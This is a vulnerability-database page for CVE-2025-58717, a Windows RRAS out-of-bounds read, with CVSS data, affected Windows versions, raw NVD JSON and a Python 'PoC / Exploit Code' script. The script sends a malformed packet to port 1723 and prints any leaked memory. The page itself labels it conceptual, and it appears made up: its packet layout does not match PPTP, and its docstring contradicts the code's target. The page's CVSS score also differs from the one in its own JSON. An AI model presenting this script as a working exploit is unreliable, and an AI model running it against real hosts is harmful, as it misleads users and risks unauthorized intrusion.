Security Vulnerability Report
中文
CVE-2025-58717 CVSS 6.5 MEDIUM

CVE-2025-58717

Published: 2025-10-14 17:15:53
Last Modified: 2025-10-31 15:21:29

Description

Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Windows Server 2025 (受影响)
Microsoft Windows Server 2022 (受影响)
Microsoft Windows Server 2019 (受影响)
Microsoft Windows Server 2016 (受影响)
Microsoft Windows 11 (受影响)
Microsoft Windows 10 (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58717 - Windows RRAS Out-of-Bounds Read PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach # Actual exploitation requires specific protocol knowledge of RRAS import socket import struct import sys def craft_rras_probe(target_host, target_port=1723): """ Craft a malicious PPTP/RRAS packet to trigger out-of-bounds read. The vulnerability exists in RRAS when processing certain protocol fields with insufficient bounds checking. """ # PPTP Start-Control-Connection-Request packet structure # with malformed length field to trigger OOB read # PPTP header pptp_version = struct.pack('>H', 0x0001) # Version 1 pptp_message_type = struct.pack('>B', 0x01) # Start-Control-Connection-Request reserved = struct.pack('>B', 0x00) # Malicious payload with oversized length field # This triggers the out-of-bounds read in RRAS protocol parser payload_length = struct.pack('>H', 0xFFFF) # Abnormally large length # Construct malformed packet malformed_packet = pptp_version + pptp_message_type + reserved + payload_length malformed_packet += b'\x00' * 256 # Padding to trigger OOB read return malformed_packet def exploit(target_host, target_port=1723): """ Send crafted packet to trigger CVE-2025-58717 Requires user to be connected to or interact with malicious VPN endpoint """ print(f"[*] Targeting RRAS service at {target_host}:{target_port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) packet = craft_rras_probe(target_host, target_port) sock.send(packet) response = sock.recv(4096) print(f"[*] Response received: {len(response)} bytes") # OOB read may leak adjacent memory contents if len(response) > 0: print(f"[!] Potential information leak detected") # Analyze leaked data leaked_data = response[156:] # Beyond expected response size print(f"[*] Leaked data (hex): {leaked_data.hex()}") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "127.0.0.1" exploit(target)

References

Raw JSON Data

JSON
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"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": 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